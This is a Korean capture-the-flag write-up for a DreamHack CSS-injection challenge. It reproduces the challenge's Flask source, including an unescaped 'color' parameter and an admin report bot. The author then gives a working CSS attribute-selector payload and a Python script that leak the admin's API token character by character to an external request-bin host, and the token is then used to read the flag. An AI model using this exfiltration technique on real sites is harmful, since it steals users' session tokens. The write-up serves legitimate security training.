[DreamHack] CSS Injection 풀이
#!/usr/bin/python3
import hashlib, os, binascii, random, string
from flask import Flask, request, render_template, redirect, url_for, session, g, flash
from functools import wraps
import sqlite3
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from promise import Promise
app = Flask(__name__)
app.secret_key = os.urandom(32)
DATABASE = os.environ.get("DATABASE", "database.db")
try:
FLAG = open("./flag.txt", "r").read().strip()
except:
FLAG = "[**FLAG**]"
ADMIN_USERNAME = "administrator"
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))
def execute(query, data=()):
con = sqlite3.connect(DATABASE)
cur = con.cursor()
cur.execute(query, data)
con.commit()
data = cur.fetchall()
con.close()
return data
def token_generate():
while True:
token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
token_exists = execute(
"SELECT * FROM users WHERE token = :token;", {"token": token}
)
if not token_exists:
return token
def login_required(view):
@wraps(view)
def wrapped_view(**kwargs):
if session and session["uid"]:
return view(**kwargs)
flash("login first !")
return redirect(url_for("login"))
return wrapped_view
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get("API-KEY", None)
token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {"code": 401, "message": "Access Denined !"}
return wrapped_view
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, "_database", None)
if db is not None:
db.close()
@app.context_processor
def background_color():
color = request.args.get("color", "white")
return dict(color=color)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return render_template("login.html")
else:
username = request.form.get("username")
password = request.form.get("password")
user = execute(
"SELECT * FROM users WHERE username = :username and password = :password;",
{
"username": username,
"password": hashlib.sha256(password.encode()).hexdigest(),
},
)
if user:
session["uid"] = user[0][0]
session["username"] = user[0][1]
return redirect(url_for("index"))
flash("Wrong username or password !")
return redirect(url_for("login"))
@app.route("/logout")
@login_required
def logout():
session.clear()
flash("Logout !")
return redirect(url_for("index"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "GET":
return render_template("register.html")
else:
username = request.form.get("username")
password = request.form.get("password")
user = execute(
"SELECT * FROM users WHERE username = :username;", {"username": username}
)
if user:
flash("Username already exists !")
return redirect(url_for("register"))
token = token_generate()
sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
execute(
sql,
{
"username": username,
"password": hashlib.sha256(password.encode()).hexdigest(),
"token": token,
},
)
flash("Register Success.")
return redirect(url_for("login"))
@app.route("/mypage")
@login_required
def mypage():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
return render_template("mypage.html", user=user[0])
@app.route("/memo", methods=["GET", "POST"])
@login_required
def memopage():
if request.method == "GET":
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": session["uid"]})
return render_template("memo.html", memos=memos)
else:
memo = request.form.get("memo")
sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
execute(sql, {"uid": session["uid"], "text": memo})
return redirect(url_for("memopage"))
# report
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
path = request.form.get("path")
if not path:
flash("fail.")
return redirect(url_for("report"))
if path and path[0] == "/":
path = path[1:]
url = f"http://127.0.0.1:8000/{path}"
if check_url(url):
flash("success.")
else:
flash("fail.")
return redirect(url_for("report"))
elif request.method == "GET":
return render_template("report.html")
def check_url(url):
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
driver_promise.then(
driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
)
driver_promise.then(
driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
)
driver_promise = Promise(driver.find_element(By.ID, "submit").click())
driver_promise.then(driver.get(url))
except Exception as e:
driver.quit()
return False
finally:
driver.quit()
return True
# API
@app.route("/api/me")
@apikey_required
def APIme():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
if user:
return {"code": 200, "uid": user[0][0], "username": user[0][1]}
return {"code": 500, "message": "Error !"}
@app.route("/api/memo")
@apikey_required
def APImemo():
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({"idx": tmp[0], "memo": tmp[2]})
return {"code": 200, "memo": memo}
return {"code": 500, "message": "Error !"}
# For Challenge
def init():
execute("DROP TABLE IF EXISTS users;")
execute(
"""
CREATE TABLE users (
uid INTEGER PRIMARY KEY,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
token TEXT NOT NULL UNIQUE
);
"""
)
execute("DROP TABLE IF EXISTS memo;")
execute(
"""
CREATE TABLE memo (
idx INTEGER PRIMARY KEY,
uid INTEGER NOT NULL,
text TEXT NOT NULL
);
"""
)
# Add admin
execute(
"INSERT INTO users (username, password, token)"
"VALUES (:username, :password, :token);",
{
"username": ADMIN_USERNAME,
"password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
"token": token_generate(),
},
)
adminUid = execute(
"SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
)
# Add FLAG
execute(
"INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
{"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
)
with app.app_context():
init()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
대충 소스코드를 보면 시작할 때, ADMIN아이디를 생성후 ADMIN 아이디로 flag를 memo한다.
그리고 문제 이름이 CSS Injection인 만큼 CSS Injection을 활용해야 하는데 소스코드를 보면은 background_color함수가 있다.
background_color 함수는 파라미터로 color를 받은다음 그 color를 background에 적용해준다.
예를 들어, color에 yellow를 인자로 주면은
배경이 yellow로 적용된걸 알 수 있다. 그리고 개발자도구로 확인해보면은
저 background-color: 뒤에 인자로 넘겨진 값이 적용되는걸 알 수 있다.
그렇다면은 저 인자값을 조작해서 css injection을 해볼 수 있을 것 같다.
다시 소스코드를 자세히보면은 token을 사용하여 memo의 값을 볼 수 있는 /api/memo 루트가 있다,
그리고 token은 mypage에서 확인할 수 있고 report 창에선 admin계정으로 get요청을 보낼 수 있다.
payload를 종합해보자면은, report창에서 css injection을 활용하여 admin의 mypage로 접속해 token을 탈취하고 header에 token을 넣어 /api/memo로 접속하면 flag를 획득 가능할 것이다.
css injection 중 input[value^="a"]{background:url("https://attack.com/a)} 이렇게 짜면은 input의 value값이 a로 시작하면은 attack.com/a로 url을 이동할 수 있는 공격이 있다.
이걸 활용해서 mypage의 token 값을 하나하나씩 탈취할 것이다.
token_generate()함수를 보면은 ascii_lowercase에서 8자리를 생성하는걸 알 수 있다.
mypage의 token은
input에 id InputApitoken에 있다.
css에서 id까지 같이 뽑아올려면은 Input[id=""][value=""] 이렇게 뽑아오면 된다.
간단히 report창에 path값에 넣을 payload를 짜보면은 아래와 같다.
mypage?color=white;} input[id=InputApitoken][value^="a"] {background: url(https://bwqrwvn.request.dreamhack.games/a);
background : url뒤에 url은 dreamhack tools를 사용하여 만든 request bin이고 value에 a부터 시작해서 z까지 뽑아오고 또 다음값도 똑같이 뽑아오고 8번 반복하면 된다.
그리고 request bin에 /a 이렇게 보내면은 어디값이 해당되는지 알 수 있다.
from requests import post
import string
host = "http://host3.dreamhack.games:16319/report"
password = string.ascii_lowercase
pw = ""
i = 0
for bit in password:
query = "mypage?color=white;} input[id=InputApitoken][value^="+bit+"] {background: url(https://iebstev.request.dreamhack.games/"+bit+");" # 주석 띄어쓰기 이거 뒤에 %로 쓰니깐 %가 안먹히네
data = {"path" : query}
r = post(host, data = data)
print(bit)
첫자리는 이렇게 뽑아오고
두번째 부터 bit에 앞에 구한 값들을 더해서 뽑아오면 token을 탈취 할 수 있을 것이다.
탈취한 token은 header에 넣어 /api/me로 보내면 flag를 확인 가능하다.
중간에 서버가 만료되면 다시해야되는 매우 화나는 문제이다.
계속 저 css injection도 큰따옴표를 url에 직접넣으면 얘를 html encoding 해버려서 값이 안나오기 때문에 payload에서 큰따옴표를 다 제거해줬다.